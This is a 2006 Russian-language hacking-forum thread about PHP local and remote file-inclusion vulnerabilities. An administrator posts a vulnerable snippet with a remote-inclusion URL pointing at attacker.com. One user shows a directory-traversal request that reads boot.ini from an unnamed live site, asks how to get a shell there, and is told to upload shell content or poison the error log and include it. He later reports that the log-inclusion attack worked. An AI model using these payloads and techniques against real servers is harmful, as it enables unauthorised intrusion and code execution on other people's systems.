Вопрос о PHP-инклюдинге

Discussion in 'Песочница' started by piton3000, 4 Dec 2006.

Thread Status:
Not open for further replies.
  1. piton3000

    piton3000 New Member

    Joined:
    27 Nov 2006
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    Если скрипт воспринимает только одну переменную методом GET, и обрабатывает ее следующим способом:

    PHP:
    if ($a=="abc"){include "abcd.php";}
    if (
    $a=="asd"){include "qwe.php";}
    все, больше никаких действий с этой переменной не производится
     
  2. GreenBear

    GreenBear наркоман с медалью

    Joined:
    7 May 2005
    Messages:
    2,547
    Likes Received:
    1,398
    Reputations:
    612
    нет.
     
  3. r0

    r0 Elder - Старейшина

    Joined:
    17 Jul 2005
    Messages:
    450
    Likes Received:
    149
    Reputations:
    147
    Возможен. проиклудятся файлы: qwe.php || abcd.php . =}
     
  4. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Баги только там, где ты можешь повлиять на аргументы функций include и подобных.
    Тут аргумент - строка, менять которую ты не можешь
     
  5. ettee

    ettee Administrator
    Staff Member

    Joined:
    12 Oct 2006
    Messages:
    466
    Likes Received:
    1,036
    Reputations:
    1,065
    Бажный пример:
    Code:
    if ($exec=='main.php' && file_exists("$themedir/main.php"))
                   include "$themedir/main.php";
                   else include $exec;
    
    index.php?exec=http://attacker.com/evilcode.txt?
     
    _________________________
  6. Soul Linker

    Soul Linker New Member

    Joined:
    5 Sep 2006
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    В продолжении темы...
    Есть бажный срипт, который позволяет подключать любые локальные файлы. Можно шелл сделать там?
    http:*/нискажу-сайт.com/бажный-скрипт.php?str=../../../../../../boot.ini

    HTML:
    [boot loader] timeout=0 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Standard RU" /noexecute=optout /fastdetect
     
    1 person likes this.
  7. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    при наличии локального инклуда шелл можно сделать так:
    Залить на сайт (если есть форма где-то) файл любого типа с шелл-ным содержанием,а потом через проинклудить его..выполнится код =) Или оставляем злой запрос в еррор_лог-е и путем ручного перебора пути инклудим еррор_лог =)
     
  8. Soul Linker

    Soul Linker New Member

    Joined:
    5 Sep 2006
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    На счет заливания аватара с "хитрым" содержимым я догадался, там стоит vbulletin 3.5.4, не могу найти куда льет...
    А на счет error.log это спасибо... пример запроса бы еще, буду премного благодарен.
     
  9. Abra

    Abra Member

    Joined:
    17 Sep 2005
    Messages:
    278
    Likes Received:
    51
    Reputations:
    29
    Вбуллитин льет в базу, а не в файловую систему.
    Посмотри пути к аватаркам, вложениями, и прочему на форуме. Админ мог переключить настройки в файловую систему, тогда, возможно, прокатит. Но ВБ - форум не дурак. Он вроде как содержимое вкладываемых файлов смотрит (могу ошибаться.)
     
  10. Soul Linker

    Soul Linker New Member

    Joined:
    5 Sep 2006
    Messages:
    16
    Likes Received:
    2
    Reputations:
    0
    Проинклудил через лог :D всем спасибо
    зы InetCrack - вещь! :)
     
  11. kirbak

    kirbak Elder - Старейшина

    Joined:
    7 Dec 2006
    Messages:
    28
    Likes Received:
    12
    Reputations:
    1
    Можно ещё так - :)
    Code:
    <?php 
       $page = &$_GET['page']; 
    
       switch ($page) { 
       case "about": 
          $page = "about.txt"; 
          break; 
       case "test": 
          $page = "test.txt"; 
          break; 
       default: 
         $page = "default.txt"; 
       } 
    
       $file = getcwd()."/text/".$page; 
    
       if ($page && is_file($file)) {require($file);} 
    ?>
     
  12. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    Сказал, что уже вопрос решен.Нафиг ваще свои знания здесь демонстрировать?
     
Loading...
Similar Threads - Вопрос инклюдинге
  1. gilo20
    Replies:
    2
    Views:
    2,484
  2. Dobi768
    Replies:
    2
    Views:
    2,408
  3. avva99on
    Replies:
    0
    Views:
    2,405
Thread Status:
Not open for further replies.